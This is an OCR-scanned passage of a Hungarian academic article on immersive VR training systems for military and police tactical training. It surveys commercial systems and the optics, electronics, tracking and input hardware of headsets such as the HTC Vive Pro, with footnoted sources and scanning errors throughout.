rendszerintegratori kapacitasokra alapozva képesek vagyunk sajat célokra kifejleszteni.
A hazai kutatas-fejlesztés elinditasahoz holisztikusan kell vizsgalni azokat a tényez6-
ket, amelyek a koltséghatékonysagot és a tovabbi hosszu tavu elényodket biztositjak.
A tényez6k kozil elsésorban magat a mar rendelkezésre allé VR-technologiat, a kikép-
zési terlilet sajatossagait, valamint a fejlesztésekhez sziikséges kompetencia-rendszert
érdemes vizsgalni a nemzeti sajatossagok figyelembevételével. Azontul azonban,
hogy a fejlesztések sikeréhez a fenti harom terdilet vizsgalata elengedhetetlen, annak
érdekében, hogy az izemben tartas és a teljes életciklus gazdasagossaga is igazolhato
legyen, tovabbi szempontok elemzése is szlikségessé valik.

4 53/2016. (XII. 16.) NFM rendelet a légijarmti és a repiil6eszkoz személyzet, valamint a repiilésiizemi tiszt kép-
z€sér6l, vizsgaztatasardl, engedélyeirdl és a képzésiikben részt vevd képzo szervezetek engedélyezésérdl, 1. mel-
léklet 1.2.3 pont.

> David Grove: Why the term “every Marine is a rifleman” needs to stop. 2018. Elérhet6: www.wearethemighty.
com/military-life/why-the-term-every-marine-is-a-rifleman-needs-to-stop (A letéltés datuma: 2020. 05. 20.)

¢ Rick Adams: Virtual Reality Ramp Up 3D Immersive Environments. Military Technology, 41. (2017), 12. 42-44.

7 Martin L. Blink et alii: Research Report 1986: Training Capability Data for Dismounted Soldier Training System.
United States Army Research Institute for Behavioral and Social Sciences, 2015. Elérhet6: https://apps.dtic.mil/
dtic/tr/fulltext/u2/a621959.pdf (A letéltés datuma: 2020. 05. 20.)
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VR-kiképzdeszkozok a harcaszati és taktikai képzésben

A katonai és rendvédelmi szerveknél a fegyverhasznalat kdrnyezete és szabalyozasa
mer6ben kiilonbozik. Ennek ellenére az intézkedéstaktika és a harcaszat kdzds metszete,
hogy komplex és bonyolult szituaciékban kell gyors taktikai dontéseket hozni, a személyi
fegyvereket szakszer(ien és biztonsagosan kell hasznalni erés nyomas alatt is. A taktikai
kiképz6rendszerek a lehetd legmagasabb foku komplexitast biztositva, szdmos nehezité
tényez6t szimulalva interaktiv szituaciokba helyezik a felhasznalokat, akik biztonsagosan
és koltséghatékonyan gyakorolhatjak a végrehajtando feladatot, készségeket alakithatnak
ki. A legtobb ilyen rendszer ebbél adoédodan kettds felhasznalasu.®

Ha virtualisvaldsag-alapu kiképz&rendszerrél, ezen belil is taktikai gyakoroltato
eszkdzokrél van szd, akkor immerziv VR-szimulaciés rendszerekr6l beszélhetiink.
Azimmerzivitas lényege és jelentése, hogy a felhasznalot Ugy helyezzilk 4t a — szamitd-
gép altal generalt és szimulaciot futtatd — virtudlis térbe, hogy azt sajat szemszogébdl
latja, testét és mozgasat teljes beleéléssel valdsnak érzékeli. Ahhoz, hogy ezt elérjék,
ezeknek a VR-rendszereknek a legfontosabb eleme a virtudlis audiovizualis ingerek
atadasaért felelSs, fejre rogzitett, virtualisvalosag-sisak, amelyet VR Headset-nek vagy
Helmet-mounted Display-nek (HMD) is hivnak. A teljes immerzivitas elérése érdekében
szamos kiegészitd, mozgaskdvetd és egyéb beviteli technoldgia egészitheti ki a sisakokat.
Ilyen rendszerek esetén referencianak tekinthet6 a védelmi ipar egyik nagy szerepldje,
a Raytheon altal mar 2010-ben kifejlesztett, szinte minden, a technolégiaban rejlé
lehet&séget kiakndzo — meglehetdsen koltséges — , VIRTSIM" nevii rendszere,® amely
2020-ban is hasznalatban van a Malaj hadsereg Royal Ranger Regimentjénél."

Ez a rendszer egészen 12 f&s rajokig, erre a célra felkészitett kosarlabdapalya
meéret(i teremben tud gyakoroltatni kiilénbdz8 komplex rendvédelmi és katonai jel-
leg(i taktikai feladatokat. A rendszer lehet&séget ad tobb dimenzié mentén torténd
kiértékelésre is (after-action review), mint példaul a mozgasok, taktikai dontések,
procedurdk kévetésének utdlagos elemzése. Az immerzivitast tovabb noveli, hogy
a taktikai, fegyverhasznalati fogasok, mint a tarcsere, fedezékhasznalat, kommunika-
cio, kézjelek, érintések szintén modellezve vannak. 2010 6ta szamos cég és fegyveres
szervezet foglalkozott a technoldgia kiképzési célu hasznalataval, amelynek eredmé-
nyeként egyre olcsdbban, egyre tobb funkcioval felvértezett, moduldris eszkdzokbél
felépld rendszereket tudnak épiteni. Azamerikai Animated Storyboards cég V-Armed
diviziéjanak viszonylag friss rendszere sok sajat fejlesztést tartalmaz,” de itt mar
hasznalnak készen kapott nyilt technolégiat is, mint példaul az ,,Unreal Engine" 3D
szimulacios szoftver komponenst (3D motor).

& Asterion VR cég weboldala: A ModulMaze kérnyezeti csomagjai katonai és rendvédelmi feladatokat is tartal-
maznak. Elérhetd: https://asterionvr.com/ (A letéltés datuma: 2020. 05. 20.)

9 Ben Lang: VIRTSIM is the Virtual Reality Platform That Gamers Crave but Can’t Have. Road To VR. 2012. Elérhet6:
www.roadtovr.com/virtsim-virtual-reality-platform/ (A letSltés datuma: 2020. 05. 20.)

19 VIRTSIM by 9* Ranger from 3 until 7*" Feb. 2020. [Mal4j Hadsereg — a szerzé kiegészitése] Elérhets: www.youtu-
be.com/watch?v=Y0y8hT17-vE (A letoltés datuma: 2020. 05. 20.)

T Tammy Waitt: V-ARMED: Experience Next-Gen Simulation. 2019. Elérhet6: https://americansecuritytoday.
com/v-armed-experience-next-gen-simulation-learn-multi-vid (A letéltés datuma: 2020. 05. 20.)

2 Unreal Engine, Training and Simulation. Elérhet6: www.unrealengine.com/en-US/industry/training-simulation
(A letoltés datuma: 2020. 05. 20.)
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1. abra
A 2010-ben elkésziilt Raytheon ,VIRTSIM” nevii rendszere demonstracié kézben.
Forras: Langi. m. (9. 1j.)

" Image courtesy-efV=AfiTied"

2. abra
A V-Armed céqg szimulatoranak eqyik szintetikus krnyezete a jatékiparban elterjedt Unreal 3D-motort
alkalmazva.

Forras: Sébastien Lozé: Efficient police virtual training environment in VR by V-Armed. 2019. Elérhetd: www.
unrealengine.com/en-US/spotlights/efficient-police-virtual-training-environment-in-vr-by-v-armed (A letoltés
datuma: 2020. 05. 20.)
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A koreai Optimus System™ és az amerikai ONR Techsolutions™ rendszerei mar latszolag
szinte csak kereskedelmi forgalomban fellelheté modulokbdl épitkeznek. (Ez utébbi
valojaban egy , kevert valdsag” rendszer, de felépitését tekintve estiinkben is relevans).
Az Optimus System eszkdzei esetén lathato, hogy kereskedelmi forgalomban kaphaté
alkatrészek segitségével végeznek kiegészité kdvetést a szimulacio valodsagérzetének
novelésére és a fegyverek digitalizalasara. A VIRTSIM még a filmkészitésbdl atvett,
helyhez kotott mozgaskovets (motion capture) megoldast hasznalt,™ amelynek ara
szazezer dollaros nagysagrend(, és amely manapsag hasonlé minéségben megoldhaté
mar egy par tizezer forintos Kinect szenzorral, valamint ingyenes szoftverkdnyvtar
alkalmazasaval."® A HMD-k esetén is nagy a valtozas, mivel az akkori rendszerhez
képest manapsag fél- vagy harmaddsszegért, minimum kétszeres felbontasu, kétszeres
latdszogl, tobbszords kontrasztu és képfrissitési idejli eszkdzoket lehet beszerezni."”
A Motion Reality Inc. cég, amely a Raytheon partnere volt a VIRTSIM kifejlesztésében,
a rendszert tovabbfejlesztette, és tovabbra is eladasra kinalja DAUNTLESS néven.™®

3. 4bra

A szinte teljes immerzivitast ado Raytheon VIRTSIM-alapokra épiil6 DAUNTLESS taktikai VR-
kiképzbeszkoz a Motion Reality cégtdl.

Forras: Motion Reality, Inc. Twitter-bejegyzése. Elérhet6: https://twitter.com/motionreality/
status/821380226919890944/photo/1 (A letsltés datuma: 2020. 05. 20.)

B Korean startup releases VR simulators for military training. Elérheté: www.youtube.com/watch?v=Et5BsVOU1Lw
(A letoltés datuma: 2020. 05. 20.)

' Office of Naval Research (ONR) Global Techsolutions. Elérhets: www.onr.navy.mil/techsolutions/ (A letoltés da-
tuma: 2020. 05. 20.)

> A Motion Reality cég altal fejlesztett megoldas a Polar Expressz és Avatar filmekben hasznalt rendszerre épdil.

6 Ayushi Gahlot et alii: Skeleton based Human Action Recognition using Kinect. International Journal of Computer
Applications (0975 — 8887) Recent Trends in Future Prospective in Engineering & Management Technology,
(2016), 9-13. Elérhetd: www.academia.edu/29068956/Skeleton_based_Human_Action_Recognition_using_Ki-
nect (A let6ltés datuma: 2020. 06. 28.)

7 A hasznalt eMagin Z800 HMD 800x600 felbontassal és 40 fokos vizszintes latdszoggel rendelkezett, 1600
dolléros aron.

8 DAUNTLESS. Elérhets: www.motionreality.com/dauntless (A letsltés datuma: 2020. 05. 20.)
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Ez a rendszer ugyan mar a kornak megfeleld, folyamatosan frissitett hardver- és szoft-
verkornyezettel rendelkezik, de az eredetivel azonos arkategériaban. A fenti példak jol
mutatjak a trendet, amibél latszik, hogy manapsag a virtudlisvalosag-alapu rendszerek
fejlesztésébe startupok is kdnnyedén vagnak bele a modularisan, olcson elérhetd esz-
kozokre épitve. A technoldgia folyamatos fejlédése miatt a teriiletre (piacra) torténd
belépés barmely id6pontban aktudlis és sikeres lehet. Ennek eredményeként akar nagy
megbizhatdsagu, jol mikods immerziv VR-technolégiat lehet koltséghatékonyan
létrehozni, és sajat fejlesztésli megoldasokkal folyamatosan utankdvetni, frissiteni,
igy — aktiv szakértéi (kiképzés, felkészités) tamogatas mellett — koltséghatékonyan,
technologiai kockazatok nélkil lehet tervezni és épiteni az el6bb emlitett DAUNT-
LESS-hez vagy az amerikai hadsereg altal hasznalt gyalogos katona kiképz& rendszerhez
(DSTS™) hasonlo platformokat. Ezt a lehet8séget megragadva, illetve szem el6tt tartva,
hogy a kiképzés modernizalasa hozzajarul a rendvédelmi és honvédelmi szervezetek
hatékonysaganak ndveléséhez, érdemes megvizsgalni sajat, nemzeti sajatossagokat
is figyelembe vev6 rendszerek fejlesztésének lehet&ségét. Az ilyen iranyban toérténd
gondolkodas egybevag a jelenlegi kormanyzati torekvésekkel, mikdzben a nemzetbiz-
tonsagi, illetve nemzetgazdasagi érdekeket egyarant tamogatja a kapcsolddé fejlesztési
tevékenység hazai ipari innovacios bazison torténé megvaldsitasa.

4. abra

A széles korben alkalmazott amerikai , gyalogos katona kiképzd rendszer” (DSTS) hasznélata a U.S.Army
412" Aviation Support Battalion katondi altal, Németorszagban, 2013-ban.

Forras: Markus Rauchenberger: Dismounted Soldier Training (U.S. Army). Elérhetd: www.flickr.com/photos/soldie
rsmediacenter/11336074633/ (A letoltés datuma: 2020. 05. 20.)

' DSTS: Dismounted Soldier Training System — Gyalogos katona kiképzé rendszer.
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A fejlesztések VR-technoldgiai alapjai
A vizsgalt eszkozok

A virtualisvalosag-technologia, szemben a kiterjesztett (Augmented Reality — AR)
és kevert valdsag (Mixed Reality — MR) technologia eszkozeivel, olyan fejen viselhets,
kijelz6kbél, lencsékbél, hangszorokbdl allo rendszert alkalmaz (HMD-, VR-sisak),
amely igyekszik teljesen kizarni a valds kdrnyezet audiovizudlis ingereit. Mig az AR-
és MR-rendszerek esetén a tényleges kdrnyezet képét latja a felhasznald, amelyre térben
2rogzitve” és szinkronban vetitik ra a szintetikus térbeli képet, addig a VR-eszkdzok
szamitogép altal generalt haromdimenzids térbe helyezik a felhasznalét, a kijelz6 képe
a latétér nagy részét lefedi, a maradék latotérrészt pedig kitakarja. Az elemzésben
nem a teljességre torekedve tekintem at a széba johetd VR-eszkozok korét, hanem
a technolodgia hozzaférhet&ségét tartottam szem el6tt. Ezért a Magyar Honvédség
keretein belil, a szolnoki szimulatorkdzpontban mar alkalmazott HTC Vive Pro
(5. 4bra) és a hasonlo technikai lehetSségekkel rendelkezé Oculus Rift $° rendszerek
paramétereit vizsgalom. Ezek az eszkdzok a kereskedelmi forgalomban is kénnyen
beszerezhet6k, igy a fejlesztésekbe akar azonnal bevonhatoék. Fontos megjegyezni,
hogy a kereskedelmi forgalomban kaphaté termékek licenszelési, illetve kiberbiztonsagi
okokbol nem minden esetben hasznalhatok kdzvetlenil sajat fejlesztések soran, de
prototipizalashoz, valamint a technoldgiai képességek felméréséhez jol alkalmazhatok.

5.4bra

HTC Vive Pro, kereskedelmi forgalomban is kaphatd VR-sisak az MH 86. Szolnok Helikopterbazis
szimulatorkézpontjaban, helikopteres ajtolovész fején.
Forras: Trautmann i. m. (2. lj.)

2 Oculus Rift S termék gyartoi oldala. Elérhets: www.oculus.com/rift-s/ (A letéltés datuma: 2020. 05. 20.)
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A technoldgiai fejlédése mint az elterjedés kulcsa

Visszatekintve az id6ben lathatjuk, hogy mar az 1990-es évek végén hazankban is ki
lehetett prébalni virtudlisvaldsag-sisakokat, de ezek hasznalata, teljesitménye —emiatt
immerzivitasa —nagyon gyenge volt. A kijelz6k nagyon kicsi részt fedtek le a latotérbél,
masodpercenként nem tudtak elérnia 20 képkocka kijelzését —ami a minimalis lenne
a folyamatos mozgas érzékeltetéséhez -, a kép a mozgaskor homalyossa valt (motion
blur), a fej kovetése lassti és pontatlan volt.?! Technoldgiai szempontbol tobb sarkalatos
pontot tudunk azonositani, amely a 2010-es évek végére lehet&vé tette, hogy a mai,
kereskedelmi forgalomban, megfizethetd dron kaphato rendszerek olyan szint(i virtualis
élményt tudjanak nyujtani, hogy az kiképzésre is hasznalhatd legyen, illetve akar sajat
fejlesztéseket lehessen ra épiteni. Az egyik sarkalatos pont az ,olcs6” lencsék kérdése,
amelyet az Oculus cég kezdett el alkalmazni, oly médon, hogy a draga tveglencséket
olcsobb, specidlis manyag lencsékkel helyettesitették. A lencsék kortlbelil 5 cm-re
helyezkednek el a szemektél, igy a kijelz6 képének fékuszalasahoz nagy gorbiletd,
vastag (széles), ezaltal nehéz lencsék sziikségesek, igy ezek a lencsék szinte minden
eszkdzben Fresnel (szegmentalt) lencséket jelentenek (6. abra).

conv

- fo—

f——»
fII:resne]

6. abra
Azonos, pozitiv fékusztavolsagu hagyomanyos és Fresnel kollektorlencse szerkezete.

Forras: Fresnel Lens Brochure. Elérhetd: www.fresneltech.com/hubfs/Spec%20Sheets/Fresnel%20Lens%20
Brochure.pdf (A letoltés datuma: 2020. 05. 20.)

2 Aszerz6 sajat tapasztalata.
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Ugyan a szegmentalt lencséknek vannak hatranyai a hagyomanyos lencsékhez képest,
de ez csak minimalisan rontja az élményt, f6leg a periférias latdmez&ben, mivel optikai
gyengeségeit szoftveresen feljavitjak. Olyan esetekben, ahol szemkd&vetési adatok is
rendelkezésre allnak (mint példaul a HTC Vive Pro esetén), tovabbi szoftverkényvta-
rak szerezhet6k be, amelyek digitalis javitélencseként funkcionalnak, a latott képet
tokéletesitik.? A kijelz6k is elérték azt a miniatirizalasi szintet (pixelstiriiséget), hogy
ezeket HMD-ben lehessen hasznalni, a Pimax Vision 8K PLUS / X termékek példaul
szemenként 4K felbontast képet biztosito panellel késziilnek.? A lencsének és a kijel-
z6knek koszonhetden a latotér (vizszintes latdszog) mar a kereskedelmi termékeknél
is 100-200 fok koéz6tt van, ami mar béven elegend6 a virtudlis élményhez. Az ipari
és kiképzési célra fejlesztett Varjo VR-2 példaul olyan ujitasokat probal bevezetni,
mint a szemenkénti dupla lencse, illetve tobb kijelz6 képének kombinalasa.?* Ezzel
a megoldassal sikeriilt nagy — az emberi szemével azonos - felbontast elérniiik, de
avizszintes latoszoget igy csak 87 fokig tudtak novelni. A lencséken és kijelz6kon tal
a nagy precizitasu, mikroelektronikai giroszképok, gyorsuldasmérék pontossaganak
javulasa, aranak csokkenése is alapvet6 sziikséglet volt a technoldgia térnyeréséhez.
Ezen eszkdzok feladata, hogy adatokat szolgaltassanak a fej helyzetérél a valos tér-
ben, ami aztan a virtualis térben képzddik le. Korabban a pontos fejkovetés (tracking)
megvalositasa nehézkes volt, elcstszasok torténhettek (drift), amelyeket mara mar
teljesen kikiiszoboltek a szenzorfuzié és a mesterséges intelligenciaval tamogatott
képfeldolgozas segitségével. A HMD sulyanak csokkentése is sarkalatos pont, a HTC
Vive Pro-ban példaul a f6 elektronika két kisméret(i alaplapon kapott helyet, amelyekre
a szlikséges szamitasi kapacitast és jelfeldolgozast integralni tudtak. A komplexitas
érzékeltetése érdekében érdemes szamba venni, hogy tulajdonképpen milyen épi-
t6elemekbél is all Gssze ez az elektronikai rész (7. abra). Az egyik alaplap a szenzor
adatainak feldolgozasahoz sziikséges elemeket, a masik pedig az audiovizualis feldol-
gozas elektronikajat tartalmazza. A szenzor alaplapon egy alacsony fogyasztasu Atmel
SAM G55),% ARM Cortex-M4 RISC processzor alapu 32-bites mikrovezérlé kapott
helyet, kiegészitve 2 darab ultraalacsony fogyasztasi NRF24LU12¢ chip-be agyazott
2,4GHz-es radiofrekvencias rendszerrel, valamint 4MB-os Winbond W25Q32)V#
flash memoriaval. Az alaplap f6 része, amely a képfeldolgozasért felel egy Alpha
Imaging Technology AIT8589D képfeldolgozo processzor kiegészitve egy iCE40HX8K
programozhaté kapumatrixszal,?® amely — szintén ezen az alaplapon talalhato - Triad

22 Pprokye Unity Plugin. Almalence Inc. Elérhet8: https://almalence.com/proeye2x/ (A letéltés datuma:
2020. 05. 20.)

23 piMax Vision 8K Plus. Elérhetd: www.pimax.com/products/vision-8k-plus-withoutmas#bundle (A letéltés datu-
ma: 2020. 05. 20.)

2+ Varjo VR-2 Pro. Elérhet6: https://varjo.com/products/vr-2-pro/ (A letltés datuma: 2020. 05. 20.)

# Atmel SAM G55] gyartdi adatlapja. Elérhets: http://wwl.microchip.com/downloads/en/DeviceDoc/At-
mel-11289-32-bit-Cortex-M4-Microcontroller-SAM-G55_Summary-Datasheet.pdf (A letdltés  datu-
ma:2020. 05. 20.)

* nRF24 chipek gyartdi adatlapja. Elérheté: www.nordicsemi.com/Products/Low-power-short-range-wireless/
nRF24-series (A letoltés datuma: 2020. 05. 20.)

¥ W25Q32)V gyartdi adatlapja. Elérheté: www.winbond.com/resource-files/w25q32jv%20dtr%20revf%20
02242017 pdf (A letéltés datuma: 2020. 05. 20.)

% JCE40LPHX gyartdi adatlapja. Elérheté: www.latticesemi.com/~/media/LatticeSemi/Documents/DataSheets/
iCE/iCE40LPHXFamilyDataSheet.pdf (A letoltés datuma: 2020. 05. 20.)
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Semiconductor TS4231% masodik generacios fény-digitalisjel-konverterek (fényérzé-
keldk) altal kapott jeleket tudja el6feldolgozni. Ezek az elemek felelGsek a kvetésben
alkalmazott kiilsé infravoros fényforrasok (vilagitotornyok) jeleinek feldolgozasaért.
Arendszerben talalhaté még mikroelektronikai alkatrészek formajaban gyorsulasmérd
kozelségérzékels és giroszkop is. A kisebb alaplap felel a szamitogépb6l érkezé audio-
vizudlis jelek feldolgozasaért és kijelz6kre juttatasaért, illetve a HTC Vive Pro-ban évé
kamerak képének visszajuttattatasaért a szamitédgéphez. Az alaplapon talalhaté chipek
kozil, teljesitmény szempontjabol emlitésre méltd a kdzponti, Analogix ANX7530,%°
4K Ultra-HD (4096 x 2160p60) felbontasu display port szabvanyu jelvevs, amely
kiegészul két MIPI-DSI*'-csatornaval.

7. abra

A HTC Vive Pro szétszedett allapotban: jol lathatd a két darab, kis méretti alaplap.

Forras: HTC Vive Pro Teardown. 2018. Elérhets: www.ifixit.com/Teardown/HTC+Vive+Pro+Teardown/106064
(A letoltés datuma: 2020. 05. 20.)

A szenzorok mintavételének gyorsulasa (altalaban 1000 Hz), adataik kis késleltetési
idejd atvitele, az optikai érzékelés pontositasa alapvetSen sziikséges volt ahhoz is,
hogy a VR-rendszerek beviteli eszkozeit — kontrollereket — is jol lehessen hasznalni.
A virtualis térben a kontrollerek modellezése és a poziciékdvetés ma mar olyan pon-
tos, hogy a virtudlis térben talalhaté kontroller egy centiméternél kisebb atméré(i
gombjat — ha az nem is a felhasznald kezében van —, csak a virtualis képet hasznalva
(,vakon"), teljes biztonsaggal, els6 probalkozasra meg lehet érinteni.? Ez azt jelenti,

2 TS4231 gyartdi adatlapja. Elérhets: www.triadsemi.com/product/ts4231/ (A letéltés datuma: 2020. 05. 15.)

0 ANX7530. Elérhets: www.analogix.com/en/products/dp-mipi-converters/anx7530 (A letoltés datuma:
2020. 05.20.)

3 A MIPI-DSI: egy soros, nagy felbontasu, alacsony fogyasztasu képtovabbitd interfész szabvany, amely mobil,
VR- és autdiparban hasznalt eszkozokre van optimalizalva.

2 Aszerz6 sajat tapasztalata.
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hogy a sajat test érzete alapjan tudjuk pozicionalni keziinket a virtualis térben,
amihez az sziikséges, hogy a virtualis és valds tér, valamint a mozgas 1: 1 leképezése
torténjen meg. Az 1: 1-es leképezés kis tavolsagokon jol miikédik, nagyon pontos,
mivel a virtudlis képeket el8allito szoftverek nagy figyelmet forditanak erre. A képet
avirtualis latoszog (Field of View - FOV) finomhangolasanak segitségével tokéletesitik.
Nagyobb tavolsagok esetén ugyanakkor a térérzékelés még nem mindig tokéletes, de
ez is csak bizonyos esetekben jelentkezik érzékelhetd formaban, mivel altaldban ezek
szoftveres kompenzaciojara is figyelmet szentelnek a gyartdk.® Bar a jelenleg elterjedt
rendszerek — amelyek vizsgalatom targyat képezik — mar teljesen at tudjak helyezni
a virtualis térbe a felhasznalot, a fejlesztések nem alltak meg, a gyartdk egyre nagyobb
latdszog, képfrissitési frekvencia és képfelbontas elérésére torekednek, valamint olyan
plusz funkciokat épitenek be, mint a szem kdvetése vagy a haromdimenzios hangzas.

A vizsgalt VR-rendszerek elemeinek miikodése
Audiovizualis szimulacid

Ahhoz, hogy megérthessiik, mire lehet és mire nem célszer(i alkalmazni ezeket az eszko-
z0ket, érdemes attekinteni a jelenlegi rendszerek m(ikodési alapjait. AHMD-k egy-egy
(vagy egy, mindkét szemet kiszolgalo) kijelz6 képét teszik lathatdva, kilon-kiilon a jobb
és bal szem szamara, specialis lencséken keresztiil gy, hogy agyunk haromdimenzids
képet tudjon késziteni a két képbdl. Ezt a haromdimenzios képet masodpercenként
minimum 40-szer frissiti, késziti el (render) a rendszer tigy, hogy fejiink valds mozgasat,
pozicidjat is leképezi a virtualis térre. igy, amikor a fejiinket forgatjuk, mozgatjuk, akkor
a latdterlink a szintetikus vilagban teljes szinkronban marad, emiatt az érzet - pl. egy
korbenézés esetén — tokéletesen valddinak hat. Ezt a lekvetést nagyon nagy sebességgel
és nagyon pontosan kell végezni, ehhez kamerak, gyorsulasérzékel6k és giroszkopok
adatait dolgozzak fel szenzorfuzio segitségével, s6t a kamerak képeinek mesterséges
intelligencia altal torténd kiértékelésére is sor keril. A fej és mas ,input”-eszk6zok

s

s

Az optikai kdvetésre két f6 megoldasi modszer létezik, az egyik az ,inside-out” (belulrél
kifelé), a masik az ,outside-in" (kintrél befelé).>* A kett6 kozotti alapvetd kilonbség
a mozgast figyeld kamera elhelyezkedése. A régebbi rendszerekben az egyszer(ibb
youtside-in" megoldast alkalmaztak, amelyhez a teremben el kellett helyezni kame-
rakat (bazisallomasokat), amelyek a felhasznaldi térben figyelték a HMD pozicidjat
az azon lévé aktiv pozicidjelolék segitségével. Az Ujabb és kényelmesebb megoldas

3 Daniel Finnegan: Compensating for distance compression in virtual audiovisual environments. Doktori értekezés.
University of Bath, 2017. Elérhetd: https://ps2fino.github.io/documents/Daniel_]._Finnegan-EngD-Thesis.pdf
(A letoltés datuma: 2020. 10. 16.)

3% M. Ribo — A. Pinz — A. L. Fuhrmann: A new optical tracking system for virtual and augmented reality applications.
Proceedings of the 18" IEEE Instrumentation and Measurement Technology Conference. Rediscovering Measure-
ment in the Age of Informatics, 2001.
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az ,inside-out”, amely esetben minimum 3 kamera van felszerelve a HMD-re, amelyek
a kornyezet képeib6l szamitanak pozicidt, mesterséges intelligencia segitségével ugy,
hogy a képeken jol megkiilonboztethetd részeket (feature) keresnek, és azok elmoz-
duldsat vizsgaljak, amit aztan visszaszamitanak térbeli poziciokka.

Kéz szimulacidja

A valdsagos hatast mar a HMD énmagaban biztositja olyan obszervacios jellegli ese-
tekben, ahol nem sziikséges a tér manipulalasa. A virtualis térrel valé interakciéhoz
kiilonbozd beviteli eszkozoket kell alkalmazni, amelyek egyre szélesebb kdrben teszik
lehet6vé a mozgas digitalizalasat. A kiképzési szimulacié szempontjabdl a kéz szimula-
lasa, annak ugynevezett kontrollerei a legfontosabbak, ezek kdvetik le a kéz és az ujjak
mozgasat. Elterjedt megoldas, hogy két darab, a jobb és bal kézben tartott, vezeték
nélkali, TV-tavirdnyité méretd, ergonomikusan kialakitott eszkdzt alkalmaznak, ami
a kdvetéshez infravords tartomanyd fényt bocsajt ki, hdromdimenzids alakzatba ren-
dezett LED-ek segitségével. Az el6bb emlitett megoldasoknal a HMD és kontrollerek
kovetését ugyanaz a kamerarendszer végzi. A virtualis kéz poziciojanak érzékelésén
nyomogombokat, miniatiir analog joystickokat (thumbstick) vagy a laptopokéhoz
hasonlo érintésérzékels fellleteket (touchpad) alkalmaznak (8. abra).

8. abra

A HTC Vive Pro Controller — a kéz mozgasait digitalizalo eszkéz. A gémbélyitett fejrészen
megfigyelhetdk az optikai kévetést lehetbvé tévd infravérds LED-ek bemélyedései, illetve a szdron lévd
érintéfeliilet (touchpad).

Forras: HTC Vive Pro Series. Elérhets: www.vive.com/eu/product/#pro%20series (A let6ltés datuma:
2020. 05. 20.)

Megfigyelések alapjan, a kéz és ujjak mozgasanak virtualis térbe torténd atvitele olyan
pontos és egyszer(i, hogy 4-5 percnyi tanulas, gyakorlas utan egyszer(i feladatok kész-
ségszinten végezhetdk, mint példaul virtualis papirrepiil6é eldobasa, nyomégombok
és forgdkapcsolok miikddtetése, ij hasznalata.® Korilbeliil 10 perc gyakorlas utan pedig
még precizebb feladatok végezhet6k el nagy biztonsaggal, olyanok, mint — virtualis
kézben tartott, virtudlis — fegyver kezel&szerveinek miikddtetése vagy mint a tolt&fogas

¥ Oculus Rift S rendszert hasznalva, Oculus First Steps programot futtatva, 12 f6, 6-50 év kozotti embereknél
(nem reprezentativ, nem formalis felmérés).
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elvégzése, a tokfedél felnyitasa, a heveder beflizése. Bar ezek még nem teljes pontos-
saggal kovetik a valés mozdulatsort, de a végrehajtashoz a kéz pontos pozicionalasara
és az ujjak koordinalt hasznalatara van sziikség. A kézbeviteli eszk6zok esetén érdemes
még megjegyezni, hogy egyszer(i vibramotorok segitségével bizonyos érintésekrél
a felhasznalo rezgés formajaban visszajelzést kap. A kiképzéstamogatas szempontjabol
mar igy is nagyon sok lehet&séget rejt ez a ,polcrél levett” megoldas, amely altalaban
a HMD-t és a kontrollert tartalmazza. A kéz és ujjak leképezéséhez a legjobb, de kolt-
ségesebb megoldas a specialis keszty(ik vagy az Ultraleap altal kifejlesztett kamerakkal
és infravoros kamerdkkal megvaldsitott kézkovetési technologia alkalmazasa.®®

Mozgas szimulacidja

A kiképzés realitasérzete és a hatds komplexitasa tovabb fokozhatd olyan kiegészit6é
berendezések bevonasaval, mint a digitalis ,taposdmalmok” (omni-directional treadmill,
ODT)* vagy a heptikus®® mellények.

3334

9. 4bra

Virtualis ,taposémalom” (ODT) a helyvaltoztatas életszertibb digitalizélasahoz alkalmazhato.

Forras: KatVR gyartoi oldal. Elérhets: www.kat-vr.com/products/kat-walk-premium-vr-treadmill (A letéltés
datuma: 2020. 06. 28.)

Tovabbi VR-rendszer kiegészitéket is taldlhatunk még a piacon, mint példaul a tapin-
tast is atvivs (imitalo) kesztylik vagy a 3D-mozgatast biztosito székek, de ezek jelen
vizsgalat szempontjabdl nem jatszanak fontos szerepet. Mivel a virtualis, harom-
dimenzids vilag leképezéséhez nagy szamitasi kapacitas sziikséges, ezt altaladban egy
kilonalld, kabelekkel csatlakoztatott szamitdgép végzi. A kabel nagy savszélességl
és kis késleltetés(i adatatviteli csatornat jelent a HMD és a szamitégép kozott,

36 Ultraleap kézdigitalzalo eszkéz. Elérhets: www.ultraleap.com/tracking/ (A letéltés datuma: 2020. 05. 20.)

¥ Vasyl Tsyktor: 6 Best VR Treadmills to Try in 2020. 2020. Elérhet6: https://cyberpulse.info/best-vr-treadmills/
(A letoltés datuma: 2020. 05. 20.)

3 A heptikus ruhézat, mellények célja, hogy a virtualis térben a virtualis testet éré behatasokat tapintasi inger for-
majaban atvigye a felhasznalo testére. Elérhetd: www.bhaptics.com/tactsuit/ (A letdltés datuma: 2020. 05. 20.)
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ezen keresztll kildik &t a szenzorok adatait és magukat a renderelt képkockakat is.
A gyakorlatban ez egy 5 m-szer 5 m-es mozgasteret eredményez, ami egy — nem
jarmiihoz kotott — kiképzési feladat szimuldcidja esetén ritkan elegendd. A mozgas
a kézi beviteli kontrollerekkel megoldhaté (gomb vagy joystick miikodtetése esetén
adott iranyba indul a személy), de a kiképzés szempontjabol leghatékonyabb maéd-
szer az el6bb emlitett tobbiranyt taposémalmok (ODT) hasznalata, amelyek cstiszos
felllet és specialis cip6 vagy gorg6k segitségével imitaljak a jaras és futas mozdula-
tait ugy, hogy a felhasznalo valds térbeli pozicidja nem valtozik (9. abra). A személy
tehat, ha a virtualis térben mozogni szeretne, akkor a labat kell hasznalnia, sétalhat,
futhat. A masik lehet6ség — amelyet termekben szoktak hasznalni, igy tovabbra is
valamilyen szinten korlatozott mozgastérrel -, hogy a megfelel specifikacioju hard-
vert egy hatizsakba teszik, és onnan futtatjak a szimulaciot, akar tobb szinkronizalt
résztvevdvel is.® Ilyen hatizsakok lathatok a 3. és 4. abran. Szoftveres megoldassal is
kisérleteznek, amellyel a felhasznalo érzékelését becsapva, a vald vilagban enyhe iven
tortén6 mozgast vezetik at a virtualis tér egyenes mozgasara. Ezaltal egy legalabb 22
méter sugaru kdrben a felhasznald korlatlan tavolsagokra tud eljutni azt gondolva,
hogy egyenesen halad, mert az elfordulds az érzékelési hatar alatt (below sensing
rate —BSR) marad, valamint a tobb helyrél kapott érzékelése egyenes mozgast éreztet
vele. Ez a megoldas szorakozas, jaték céljaira jol megfelel, de kiképzési feladatokra
csak nagyon korlatozottan alkalmazhato, mert ott az egyik legfontosabb szempont
a pontos egyezés a virtualis és valds tér kozott.

